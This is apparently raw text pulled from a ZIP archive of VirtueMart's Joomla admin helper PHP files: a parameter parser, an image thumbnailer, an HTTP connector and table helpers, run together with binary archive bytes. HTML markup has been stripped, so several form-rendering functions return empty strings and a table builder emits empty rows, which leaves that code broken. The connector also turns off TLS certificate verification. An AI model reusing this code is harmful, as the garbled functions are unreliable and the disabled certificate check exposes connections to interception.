$pair[0].'='.base64_encode(serialize($pair[1])); } if(($freshInstall or $returnDangerousTools) && $pair[0] == 'dangeroustools' ){ if($returnDangerousTools){ if ($pair[1] == "0") { return FALSE; } else { return TRUE; } } if($freshInstall){ vmdebug('$freshInstall'); $pair[1]="1"; $_line = $pair[0].'='.serialize($pair[1]); } vmdebug('dangeroustools '.$pair[1]); } } else { $_line = $pair[0].'='; } $_configData[] = $_line; } } fclose ($_data); if (!$_configData) { return FALSE; // Nothing to do } else { return $_configData; } } } class vmURI{ static function getCleanUrl ($JURIInstance = 0,$parts = array('scheme', 'user', 'pass', 'host', 'port', 'path', 'query', 'fragment')) { if(!class_exists('JFilterInput')) require (JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filter'.DS.'input.php'); $_filter = JFilterInput::getInstance(array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); if($JURIInstance===0)$JURIInstance = JURI::getInstance(); return $_filter->clean($JURIInstance->toString($parts)); } } // pure php no closing tag PKsl>\9s` ` Ucom_virtuemart_update/administrator/components/com_virtuemart/helpers/paramhelper.phpnuW+Avalue */ private $_data; /** @var char seperator */ private $_sep; /* * @deprecated */ public function __construct($p = null, $s = '\n') { // initialise $this->_sep = $s; if ($p === null) { $this->_data = array(); } else { $this->parseParam($p); } } /** * Set the field seperator * @param char $s */ public function setSeper($s) { $this->_sep = $s; } /** * Return a single parameter value * @param $p parameter name * @param $d default value * @return mixed parameter value or default value if non existing */ public function get($p, $d = null) { if (array_key_exists($p, $this->_data)) { return $this->_data[$p]; } else { return $d; } } /** * Return a single parameter value * @param $p parameter name * @param $v value */ public function set($p, $v = null) { $this->_data[$p] = $v; } /** * Parse a parameter string and fill the _data array with key/value pairs * @param string $p * @deprecated */ public function parseParam ($p) { if (!$p) { return; } $_arr = explode($this->_sep, $p); if (count($_arr) == 0) { $this->_data = array(); return; } foreach ($_arr as $_p) { $_p = trim($_p); list($k, $v) = explode('=', $_p, 2); $this->_data[$k] = $v; } } /** * Format the _data array for database storage * @return string or null when no parameters exist */ public function paramString() { $s = array(); foreach ($this->_data as $k => $v) { $s[]=$k.'='.$v; } return (count($s) == 0 ) ? null : implode($this->_sep, $s); } } // No closing tag PKsl>\"-00Scom_virtuemart_update/administrator/components/com_virtuemart/helpers/img2thumb.phpnuW+A * @author Patrick Teague * @author Soeren Eberhardt *@version 1.0b *@date modified 11/22/2004 *@modifications * - added support for GDLib < 2.0.1 * - added support for reading gif images * - makes jpg thumbnails * - changed several groups of 'if' statements to single 'switch' statements * - commented out original code so modification could be identified. */ class Img2Thumb { // New modification /** * private variables - do not use * * @var int $bg_red 0-255 - red color variable for background filler * @var int $bg_green 0-255 - green color variable for background filler * @var int $bg_blue 0-255 - blue color variable for background filler * @var int $maxSize 0-1 - true/false - should thumbnail be filled to max pixels */ var $bg_red; var $bg_green; var $bg_blue; var $maxSize; /** * @var string Filename for the thumbnail */ var $fileout; /** * Constructor - requires following vars: * * @param string $filename image path * * These are additional vars: * * @param int $newxsize new maximum image width * @param int $newysize new maximum image height * @param string $fileout output image path * @param int $thumbMaxSize whether thumbnail should have background fill to make it exactly $newxsize x $newysize * @param int $bgred 0-255 - red color variable for background filler * @param int $bggreen 0-255 - green color variable for background filler * @param int $bgblue 0-255 - blue color variable for background filler * */ function Img2Thumb($filename, $newxsize=60, $newysize=60, $fileout='', $thumbMaxSize=0, $bgred=0, $bggreen=0, $bgblue=0) { //Some big pictures need that VmConfig::ensureMemoryLimit(128); // New modification - checks color int to be sure within range if($thumbMaxSize) { $this->maxSize = true; } else { $this->maxSize = false; } if($bgred>=0 || $bgred<=255) { $this->bg_red = $bgred; } else { $this->bg_red = 0; } if($bggreen>=0 || $bggreen<=255) { $this->bg_green = $bggreen; } else { $this->bg_green = 0; } if($bgblue>=0 || $bgblue<=255) { $this->bg_blue = $bgblue; } else { $this->bg_blue = 0; } $this->NewImgCreate($filename,$newxsize,$newysize,$fileout); } /** * * private function - do not call * */ private function NewImgCreate($filename,$newxsize,$newysize,$fileout) { // if( !function_exists('imagecreatefromjpeg') ){ // $app = JFactory::getApplication(); // $app->enqueueMessage('This server does NOT suppport auto generating Thumbnails by jpg'); // } if(function_exists('imagecreatefromstring')){ $content = file_get_contents($filename); if($content){ $gd = @imagecreatefromstring($content); if ($gd === false) { vmWarn('Img2Thumb NewImgCreate with imagecreatefromstring failed '.$filename.' '); } else { $pathinfo = pathinfo( $fileout ); $type = empty($type)? $pathinfo['extension']:$type; $this->fileout = $fileout; $new_img =$this->NewImgResize($gd,$newxsize,$newysize,$filename); if (!empty($fileout)) { $this-> NewImgSave($new_img,$fileout,$type); } else { $this->NewImgShow($new_img,$type); } ImageDestroy($new_img); ImageDestroy($gd); } } } else { $type = $this->GetImgType($filename); $pathinfo = pathinfo( $fileout ); $type = empty($type)? $pathinfo['extension']:$type; if( empty( $pathinfo['extension'])) { $fileout .= '.'.$type; } $this->fileout = $fileout; switch($type){ case "gif": // unfortunately this function does not work on windows // via the precompiled php installation :( // it should work on all other systems however. if( function_exists("imagecreatefromgif") ) { $orig_img = imagecreatefromgif($filename); } else { $app = JFactory::getApplication(); $app->enqueueMessage('This server does NOT suppport auto generating Thumbnails by gif'); return false; } break; case "jpg": if( function_exists("imagecreatefromjpeg") ) { if($this->check_jpeg($filename,true)){ $orig_img = imagecreatefromjpeg($filename); } else { vmWarn('Img2Thumb NewImgCreate $orig_img empty, type was not in switch for file '.$filename.' this happens due missing exif data or broken origin file'); return false; } } else { $app = JFactory::getApplication(); $app->enqueueMessage('This server does NOT suppport auto generating Thumbnails by jpg'); return false; } break; case "png": if( function_exists("imagecreatefrompng") ) { $orig_img = imagecreatefrompng($filename); } else { $app = JFactory::getApplication(); $app->enqueueMessage('This server does NOT suppport auto generating Thumbnails by png'); return false; } break; } if(empty($orig_img)){ vmWarn('Img2Thumb NewImgCreate $orig_img empty, type was not in switch for file '.$filename.' this happens due missing exif data or broken origin file'); return false; } else { $new_img =$this->NewImgResize($orig_img,$newxsize,$newysize,$filename); if (!empty($fileout)) { $this-> NewImgSave($new_img,$fileout,$type); } else { $this->NewImgShow($new_img,$type); } ImageDestroy($new_img); ImageDestroy($orig_img); } } } /** * check for jpeg file header and footer - also try to fix it * @author willertan1980 at yahoo dot com http://www.php.net/manual/de/function.imagecreatefromjpeg.php * @param $f * @param bool $fix * @return bool */ function check_jpeg($f, $fix=false ){ if ( false !== (@$fd = fopen($f, 'r+b' )) ){ if ( fread($fd,2)==chr(255).chr(216) ){ fseek ( $fd, -2, SEEK_END ); if ( fread($fd,2)==chr(255).chr(217) ){ fclose($fd); vmdebug('valid jpg '.$f); return true; }else{ if ( $fix && fwrite($fd,chr(255).chr(217)) ){vmdebug('corrected jpg '.$f);return true;} fclose($fd); vmInfo('broken jpg, cannot create thumb '.$f); return false; } }else{fclose($fd); return false;} }else{ vmWarn('check_jpeg could not open file '.$f); return false; } } /** * Maybe adding sharpening with * $sharpenMatrix = array ( array(-1.2, -1, -1.2), array(-1, 20, -1), array(-1.2, -1, -1.2) ); // calculate the sharpen divisor $divisor = array_sum(array_map('array_sum', $sharpenMatrix)); $offset = 0; // apply the matrix imageconvolution($img, $sharpenMatrix, $divisor, $offset); * * private function - do not call * includes function ImageCreateTrueColor and ImageCopyResampled which are available only under GD 2.0.1 or higher ! */ private function NewImgResize($orig_img,$newxsize,$newysize,$filename) { //getimagesize returns array // [0] = width in pixels // [1] = height in pixels // [2] = type // [3] = img tag "width=xx height=xx" values $orig_size = getimagesize($filename); $newxsize = (int)$newxsize; $newysize = (int)$newysize; if(empty($newxsize) and empty($newysize)){ vmWarn('NewImgResize failed x,y = 0','NewImgResize failed x,y = 0'); return false; } $maxX = $newxsize; $maxY = $newysize; if ($orig_size[0]<$orig_size[1]) { $newxsize = (int)$newysize * ($orig_size[0]/$orig_size[1]); $adjustX = (int)($maxX - $newxsize)/2; $adjustY = 0; } else { $newysize = (int) $newxsize / ($orig_size[0]/$orig_size[1]); $adjustX = 0; $adjustY = (int)($maxY - $newysize)/2; } /* Original code removed to allow for maxSize thumbnails $im_out = ImageCreateTrueColor($newxsize,$newysize); ImageCopyResampled($im_out, $orig_img, 0, 0, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]); */ // New modification - creates new image at maxSize if( $this->maxSize ) { if( function_exists("imagecreatetruecolor") ) $im_out = imagecreatetruecolor($maxX,$maxY); else $im_out = imagecreate($maxX,$maxY); // Need to image fill just in case image is transparent, don't always want black background $bgfill = imagecolorallocate( $im_out, $this->bg_red, $this->bg_green, $this->bg_blue ); if( function_exists( "imageAntiAlias" )) { imageAntiAlias($im_out,true); } imagealphablending($im_out, false); if( function_exists( "imagesavealpha")) { imagesavealpha($im_out,true); } if( function_exists( "imagecolorallocatealpha")) { $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127); } //imagefill( $im_out, 0,0, $bgfill ); if( function_exists("imagecopyresampled") ){ ImageCopyResampled($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]); } else { ImageCopyResized($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]); } } else { if( function_exists("imagecreatetruecolor") ) $im_out = ImageCreateTrueColor($newxsize,$newysize); else $im_out = imagecreate($newxsize,$newysize); if( function_exists( "imageAntiAlias" )) imageAntiAlias($im_out,true); imagealphablending($im_out, false); if( function_exists( "imagesavealpha")) imagesavealpha($im_out,true); if( function_exists( "imagecolorallocatealpha")) $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127); if( function_exists("imagecopyresampled") ) ImageCopyResampled($im_out, $orig_img, 0, 0, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]); else ImageCopyResized($im_out, $orig_img, 0, 0, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]); } return $im_out; } /** * * private function - do not call * */ private function NewImgSave($new_img,$fileout,$type) { if( !@is_dir( dirname($fileout))) { @mkdir( dirname($fileout) ); } switch($type) { case "gif": if( !function_exists("imagegif") ) { if (strtolower(substr($fileout,strlen($fileout)-4,4))!=".gif") { $fileout .= ".png"; } return imagepng($new_img,$fileout); } else { if (strtolower(substr($fileout,strlen($fileout)-4,4))!=".gif") { $fileout .= '.gif'; } return imagegif( $new_img, $fileout ); } break; case "jpg": if (strtolower(substr($fileout,strlen($fileout)-4,4))!=".jpg") $fileout .= ".jpg"; $quality = 89; return imagejpeg($new_img, $fileout, $quality); break; case "png": if (strtolower(substr($fileout,strlen($fileout)-4,4))!=".png") $fileout .= ".png"; return imagepng($new_img,$fileout); break; } } /** * * private function - do not call * */ private function NewImgShow($new_img,$type) { /* Original code removed in favor of 'switch' statement if ($type=="png") { header ("Content-type: image/png"); return imagepng($new_img); } if ($type=="jpg") { header ("Content-type: image/jpeg"); return imagejpeg($new_img); } */ switch($type) { case "gif": if( function_exists("imagegif") ) { header ("Content-type: image/gif"); return imagegif($new_img); break; } //either there is missing a break or the else $this->NewImgShow is unecessary else $this->NewImgShow( $new_img, "jpg" ); case "jpg": header ("Content-type: image/jpeg"); return imagejpeg($new_img); break; case "png": header ("Content-type: image/png"); return imagepng($new_img); break; } } /** * * private function - do not call * * 1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, * 5 = PSD, 6 = BMP, * 7 = TIFF(intel byte order), * 8 = TIFF(motorola byte order), * 9 = JPC, 10 = JP2, 11 = JPX, * 12 = JB2, 13 = SWC, 14 = IFF */ private function GetImgType($filename) { $info = getimagesize($filename); /* Original code removed in favor of 'switch' statement if($size[2]==2) return "jpg"; elseif($size[2]==3) return "png"; */ switch($info[2]) { case 1: return "gif"; break; case 2: return "jpg"; break; case 3: return "png"; break; default: return false; } } }PKsl>\2ȃHHYcom_virtuemart_update/administrator/components/com_virtuemart/helpers/parameterparser.phpnuW+A basename($filename, '.php'), 'fileName' => $filename); } return JHTML::_('select.genericlist', $list, 'file', '', 'file', 'fileName', $preselected); } /** * Function to strip additional / or \ in a path name * @param string The path * @param boolean Add trailing slash */ function vmPathName($p_path, $p_addtrailingslash = true) { $retval = ""; $isWin = (substr(PHP_OS, 0, 3) == 'WIN'); if ($isWin) { $retval = str_replace('/', '\\', $p_path); if ($p_addtrailingslash) { if (substr($retval, -1) != '\\') { $retval .= '\\'; } } // Check if UNC path $unc = substr($retval, 0, 2) == '\\\\' ? 1 : 0; // Remove double \\ $retval = str_replace('\\\\', '\\', $retval); // If UNC path, we have to add one \ in front or everything breaks! if ($unc == 1) { $retval = '\\' . $retval; } } else { $retval = str_replace('\\', '/', $p_path); if ($p_addtrailingslash) { if (substr($retval, -1) != '/') { $retval .= '/'; } } // Check if UNC path $unc = substr($retval, 0, 2) == '//' ? 1 : 0; // Remove double // $retval = str_replace('//', '/', $retval); // If UNC path, we have to add one / in front or everything breaks! if ($unc == 1) { $retval = '/' . $retval; } } return $retval; } /** * Utility function to read the files in a directory * @param string The file system path * @param string A filter for the names * @param boolean Recurse search into sub-directories * @param boolean True if to prepend the full path to the file name */ function vmReadDirectory($path, $filter='.', $recurse=false, $fullpath=false) { $arr = array(); if (!@is_dir($path)) { return $arr; } $handle = opendir($path); while ($file = readdir($handle)) { $dir = self::vmPathName($path . '/' . $file, false); $isDir = is_dir($dir); if (($file != ".") && ($file != "..")) { if (preg_match("/$filter/", $file)) { if ($fullpath) { $arr[] = trim(self::vmPathName($path . '/' . $file, false)); } else { $arr[] = trim($file); } } if ($recurse && $isDir) { $arr2 = self::vmReadDirectory($dir, $filter, $recurse, $fullpath); $arr = array_merge($arr, $arr2); } } } closedir($handle); asort($arr); return $arr; } } if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); class vmParameters extends JParameter { // /** @var string Path to the xml setup file */ var $_path = null; // /** @var string The type of setup file */ var $_type = null; var $_group = '_default'; /** * Constructor * * @access protected * @param string The raw parms text * @param string payment_element payment element name * @since 1.5 */ function __construct($data, $element = '', $type='component', $pluginfolder ) { $lang = JFactory::getLanguage(); $lang->load('plg_'.$pluginfolder.'_' . $element,JPATH_ADMINISTRATOR); if (JVM_VERSION === 2) { $path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element). DS . basename($element) . '.xml'; } else { $path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element) . '.xml'; } parent::__construct($element, $path); $this->_type = $type; if (JVM_VERSION === 2) { } else { } // $this->_raw = $data; $this->bind($data); } /** * render * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return string HTML * @author Valérie Cartan Isaksen */ function render($name = 'params', $group = '_default') { // vmdebug('render',$this); // if (JVM_VERSION === 2) { $parameters = $this->vmRender($name, $group); // } else { // $parameters = parent::render($name, $group); // } return $parameters; } /** * Render all parameters copied from Joomla 1.5 * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return array Aarray of all parameters, each as array Any array of the label, the form element and the tooltip * @since 1.5 */ function getParam(&$node, $control_name = 'params', $group = '_default') { //get the type of the parameter $type = $node->attributes('type'); //remove any occurance of a mos_ prefix $type = str_replace('mos_', '', $type); $element = $this->loadElement($type); // error happened if ($element === false) { $result = array(); $result[0] = $node->attributes('name'); $result[1] = JText::_('Element not defined for type').' = '.$type; $result[5] = $result[0]; return $result; } //get value $value = $this->get($node->attributes('name'), $node->attributes('default'), $group); return $element->render($node, $value, $control_name); } function getParamByName($name){ return $this->$name; } /** * vmRender copied from Joomla 1.5 * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return string HTML * @author Joomla 1.5 */ function vmRender($name = 'params', $group = '_default') { if (!isset($this->_xml[$group])) { return false; } $params = $this->getParams($name, $group); // vmdebug('vmRender',$params); $html = array (); $html[] = ''; if ($description = $this->_xml[$group]->attributes('description')) { // add the params description to the display $desc = JText::_($description); $html[] = ''; } foreach ($params as $param) { $html[] = ''; if ($param[0]) { $html[] = ''; $html[] = ''; } else { $html[] = ''; } $html[] = ''; } if (count($params) < 1) { $html[] = ""; } $html[] = '
'.$desc.'
'.$param[0].''.$param[1].''.$param[1].'
".JText::_('There are no Parameters for this item')."
'; return implode("\n", $html); } /** * * @author Sören, Max Milbers * @param object A param tag node * @param string The control name * @return array Any array of the label, the form element and the tooltip */ function renderParam(&$param, $control_name='params') { $result = array(); $name = $param->attributes('name'); $type = $param->attributes('type'); if ($param->attributes('label') != '') { $label = JText::_($param->attributes('label')); } else { $label = ''; } if ($param->attributes('description')) { $description = JText::_($param->attributes('description')); } else { //$description = JText::_('COM_VIRTUEMART_NO_DESCRIPTION_FOUND'); } $result[0] = $label ? $label : $name; if ($type == 'spacer' || $type == 'checkbox') { $result[0] = ' '; } else { // $result[0] = JHTML::tooltip( addslashes( $description ), addslashes( $result[0] ), '', '', $result[0], '#', 0 ); //$result[0] = $description; } if (in_array('_form_' . $type, $this->_methods)) { $control_name = ''; $value = $this->get($name); // $value = $this->get($param->attributes('name'), $param->attributes('default')); $result[1] = call_user_func(array($this, '_form_' . $type), $name, $value, $param, $control_name, $label); } else { $result[1] = _HANDLER . ' = ' . $type; } if ($description) { $result[2] = JHTML::tooltip($description, $result[0], '', $result[0]); //$result[2] = JHTML::tooltip( $description); // $result[2] = $description; } else { $result[2] = ''; } return $result; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_text($name, $value, &$node, $control_name) { $size = $node->attributes('size'); if ((int) $size == 0) { $size = 25; } return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_password($name, $value, &$node, $control_name) { $size = $node->attributes('size'); if ((int) $size == 0) { $size = 25; } return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_checkbox($name, $value, &$node, $control_name, $label='') { $default = $node->attributes('default'); $checked = ''; if ($value == $default) { $checked = ' checked="checked"'; } $id = uniqid($name); return ' '; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_list($name, $value, &$node, $control_name) { $size = $node->attributes('size'); $multiselect = $node->attributes('multiselect'); if ($multiselect) { $multiselect = 'multiple="multiple"'; $size = 5; $name .= ']['; // well, if it's multi-select, this must be an array, right? if (strstr($value, ',')) { $value = explode(',', $value); } } if ($size == 0) $size = 1; $options = array(); foreach ($node->_children as $option) { $val = $option->attributes('value'); $text = trim($option->data()); $options[$val] = JText::_($text); } return VmHTML::selectList($control_name . '[' . $name . ']', $value, $options, $size, $multiselect); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_radio($name, $value, &$node, $control_name) { $options = array(); foreach ($node->_children as $option) { $val = $option->attributes('value'); $text = trim($option->data()); $options[$val] = JText::_($text); } return VmHTML::radioList($control_name . '[' . $name . ']', $value, $options); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_table_data_list($name, $value, &$node, $control_name) { $db = JFactory::getDBO(); $table = $node->attributes('table'); $condition = $node->attributes('sql_condition'); $valuefield = $node->attributes('valuefield'); $textfield = $node->attributes('textfield'); $orderfield = $node->attributes('orderfield'); $sorting = strtoupper($node->attributes('sorting')) == 'DESC' ? 'DESC' : 'ASC'; $multiselect = $node->attributes('multiselect'); $query = "SELECT `" . $db->getEscaped($valuefield) . '`, `' . $db->getEscaped($textfield) . "`" . "\n FROM `" . $db->getEscaped($table) . "`"; if ($condition != '') { $query .= "\n WHERE " . $condition; } if ($orderfield) { $query .= "\n ORDER BY `" . $db->getEscaped($orderfield) . "` " . $sorting; } $db->setQuery($query); $array = $db->loadResultArray(); if ($multiselect == '1') { $multiple = 'multiple="multiple"'; $size = 5; } else { $multiple = ''; $size = 1; } $name = $control_name . '[' . $name . ']'; return VmHTML::selectList($name, $value, $array, $size, $multiple, 'class="inputbox"'); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ // function _form_vm_category( $name, $value, &$node, $control_name ) { // global $database; // // $multiselect = $node->_attributes( 'multiselect' ); // if( $multiselect == '1' ) { // $multiple = true; // $size = 5; // } else { // $multiple = false; // $size = 1; // } // require( CLASSPATH.'ps_product_category.php'); // $ps_product_category = new ps_product_category(); // // ob_start(); // $ps_product_category->list_all(''. $control_name .'['. $name .']', 0, array(), $size, true, $multiple ); // $category_dropdown = ob_get_clean(); // return $category_dropdown; // } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_filelist($name, $value, &$node, $control_name) { // path to images directory $path = JPATH_SITE . $node->attributes('directory'); $filter = $node->attributes('filter'); $files = vmReadDirectory($path, $filter); $options = array(); foreach ($files as $file) { $options[$file] = $file; } if (!$node->attributes('hide_none')) { array_unshift($options, array('-1', '- ' . 'Do Not Use' . ' -')); } if (!$node->attributes('hide_default')) { array_unshift($options, array('', '- ' . 'Use Default' . ' -')); } return VmHTML::selectList('' . $control_name . '[' . $name . ']', $value, $options, 1, '', 'class="inputbox"'); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_imagelist($name, $value, &$node, $control_name) { $node->addAttribute('filter', '\.png$|\.gif$|\.jpg$|\.bmp$|\.ico$'); return $this->_form_filelist($name, $value, $node, $control_name); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_textarea($name, $value, &$node, $control_name) { $rows = $node->attributes('rows'); $cols = $node->attributes('cols'); // convert
tags so they are not visible when editing $value = str_replace('
', "\n", $value); return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_hidden($name, $value, &$node, $control_name) { return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_spacer($name, $value, &$node, $control_name) { if ($value) { return '

' . JText::_($value) . '

'; } else { return '
'; } } /** * special handling for textarea param */ function textareaHandling(&$txt) { $total = count($txt); for ($i = 0; $i < $total; $i++) { if (strstr($txt[$i], "\n")) { $txt[$i] = str_replace("\n", '
', $txt[$i]); } } $txt = implode("\n", $txt); return $txt; } /** * Element name * * @access protected * @var string */ var $_name = 'SQL'; function _form_sql($name, $value, &$node, $control_name) { $db = JFactory::getDBO(); $db->setQuery($node->attributes('query')); $key = ($node->attributes('key_field') ? $node->attributes('key_field') : 'value'); $val = ($node->attributes('value_field') ? $node->attributes('value_field') : $name); return JHTML::_('select.genericlist', $db->loadObjectList(), '' . $control_name . '[' . $name . ']', 'class="inputbox"', $key, $val, $value, $control_name . $name); } } /** * @param string * @return string */ function vmParseParams($txt) { return vmParameters::parse($txt); } // pure php no closing tag PKsl>\ma),),Tcom_virtuemart_update/administrator/components/com_virtuemart/helpers/connection.phpnuW+Adebug( 'Setting up proxy: '.$proxyURL['host'].':'.VM_PROXY_PORT ); //curl_setopt($CR, CURLOPT_HTTPPROXYTUNNEL, true); curl_setopt($CR, CURLOPT_PROXY, $proxyURL['host'] ); curl_setopt($CR, CURLOPT_PROXYPORT, VM_PROXY_PORT ); // Check if the proxy needs authentication if( trim( @VM_PROXY_USER ) != '') { // $vmLogger->debug( 'Using proxy authentication!' ); curl_setopt($CR, CURLOPT_PROXYUSERPWD, VM_PROXY_USER.':'.VM_PROXY_PASS ); } } if( $urlParts['scheme'] == 'https') { // No PEER certificate validation...as we don't have // a certificate file for it to authenticate the host www.ups.com against! curl_setopt($CR, CURLOPT_SSL_VERIFYPEER, 0); //curl_setopt($CR, CURLOPT_SSLCERT , "/usr/locale/xxxx/clientcertificate.pem"); } $result = curl_exec( $CR ); $error = curl_error( $CR ); if( !empty( $error ) && stristr( $error, '502') && !empty( $proxyURL )) { // $vmLogger->debug( 'Switching to NTLM authenticaton.'); curl_setopt( $CR, CURLOPT_PROXYAUTH, CURLAUTH_NTLM ); $result = curl_exec( $CR ); $error = curl_error( $CR ); } curl_close( $CR ); if( !empty( $error )) { //JError::raiseError(1, $error ); return false; } else { return $result; } } else { if( $postData ) { if( !empty( $proxyURL )) { // If we have something to post we need to write into a socket if( $proxyURL['scheme'] == 'https') { $protocol = 'ssl'; } else { $protocol = 'http'; } $fp = fsockopen("$protocol://".$proxyURL['host'], VM_PROXY_PORT, $errno, $errstr, $timeout = 30); } else { // If we have something to post we need to write into a socket if( $urlParts['scheme'] == 'https') { $protocol = 'ssl'; } else { $protocol = $urlParts['scheme']; } $fp = fsockopen("$protocol://".$urlParts['host'], $urlParts['port'], $errno, $errstr, $timeout = 30); } } else { if( !empty( $proxyURL )) { // Do a read-only fopen transaction $fp = fopen( $proxyURL['scheme'].'://'.$proxyURL['host'].':'.VM_PROXY_PORT, 'rb' ); } else { // Do a read-only fopen transaction $fp = fopen( $urlParts['scheme'].'://'.$urlParts['host'].':'.$urlParts['port'].$urlParts['path'], 'rb' ); } } if(!$fp) { //error tell us JError::raiseWarning(1, 'Possible server error! - '.$errstr .'('.$errno.')\n' ); return false; } else { //Would be interesting to set this only for debug // JError::raiseNotice(1, 'Connection opened to '.$urlParts['host']); } if( $postData ) { // $vmLogger->debug('Now posting the variables.' ); //send the server request if( !empty( $proxyURL )) { fputs($fp, "POST ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, "Host: ".$proxyURL['host']."\r\n"); if( trim( @VM_PROXY_USER )!= '') { fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n"); } } else { fputs($fp, 'POST '.$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, 'Host:'. $urlParts['host']."\r\n"); } fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($postData)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $postData . "\r\n\r\n"); } else { if( !empty( $proxyURL )) { fputs($fp, "GET ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, "Host: ".$proxyURL['host']."\r\n"); if( trim( @VM_PROXY_USER )!= '') { fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n"); } } else { // JError::raiseNotice(1, 'Host:'. $urlParts['host'].' path: '. $urlParts['path'] ); fputs($fp, 'GET '.$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, 'Host:'. $urlParts['host']."\r\n"); } } // Add additional headers if provided foreach( $headers as $header ) { fputs($fp, $header."\r\n"); } $data = ""; while (!feof($fp)) { $data .= @fgets ($fp, 4096); } fclose( $fp ); // If didnt get content-lenght, something is wrong, return false. if ( trim($data) == '' ) { JError::raiseWarning(E_WARNING,'An error occured while communicating with the server '.$urlParts['host'].'. It didn\'t reply (correctly). Please try again later, thank you.' ); return false; } $result = trim( $data ); if( is_resource($fileToSaveData )) { fwrite($fileToSaveData, $result ); return true; } else { return $result; } } } /** * Set headers and send the file to the client * * @author Andreas Gohr * @param string The full path to the file * @param string The Mime Type of the file */ function sendFile($file,$mime, $overrideFileName='') { // send headers header("Content-Type: $mime"); list($start,$len) = VmConnector::http_rangeRequest(filesize($file)); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Accept-Ranges: bytes'); //application mime type is downloadable if(strtolower(substr($mime,0,11)) == 'application') { if( $overrideFileName == '') { $filename = basename($file); } else { $filename = $overrideFileName; } header('Content-Disposition: attachment; filename="'.$filename.'";'); } $chunksize = 1*(1024*1024); // send file contents $fp = @fopen($file,"rb"); if($fp) { fseek($fp,$start); //seek to start of range $chunk = ($len > $chunksize) ? $chunksize : $len; while (!feof($fp) && $chunk > 0) { @set_time_limit(); // large files can take a lot of time print fread($fp, $chunk); flush(); $len -= $chunk; $chunk = ($len > $chunksize) ? $chunksize : $len; } fclose($fp); }else { header("HTTP/1.0 500 Internal Server Error"); print "Could not read $file - bad permissions?"; JFactory::getApplication()->close(true); } } /** * Checks and sets headers to handle range requets * * @author Andreas Gohr * @return array The start byte and the amount of bytes to send * @param int The file size */ function http_rangeRequest($size, $exitOnError=true ) { if(!isset($_SERVER['HTTP_RANGE'])) { // no range requested - send the whole file header("Content-Length: $size"); return array(0,$size); } $t = explode('=', $_SERVER['HTTP_RANGE']); if (!$t[0]=='bytes') { // we only understand byte ranges - send the whole file header("Content-Length: $size"); return array(0,$size); } $r = explode('-', $t[1]); $start = (int)$r[0]; $end = (int)$r[1]; if (!$end) $end = $size - 1; if ($start > $end || $start > $size || $end > $size) { if( $exitOnError ) { header('HTTP/1.1 416 Requested Range Not Satisfiable'); print 'Bad Range Request!'; JFactory::getApplication()->close(true); } else { return array(0,$size); } } $tot = $end - $start + 1; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes {$start}-{$end}/{$size}"); header("Content-Length: $tot"); return array($start,$tot); } } // pure php no closing tagPKsl>\+]%]%Wcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmtablexarray.phpnuW+A_orderingKey = $key; // $this->_orderable = 1; // $this->_autoOrdering = $auto; // $this->$key = 0; // } function setSecondaryKey($key,$keyForm=0){ $this->_skey = $key; $this->$key = array(); $this->_skeyForm = empty($keyForm)? $key:$keyForm; } function setOrderableFormname($orderAbleFormName){ $this->_okeyForm = $orderAbleFormName; } /** * swap the ordering of a record in the Xref tables * @param $direction , 1/-1 The increment to reorder by */ function move($direction, $where='', $orderingkey=0) { if(empty($this->_skey) ) { vmError( 'No secondary keys defined in VmTableXarray 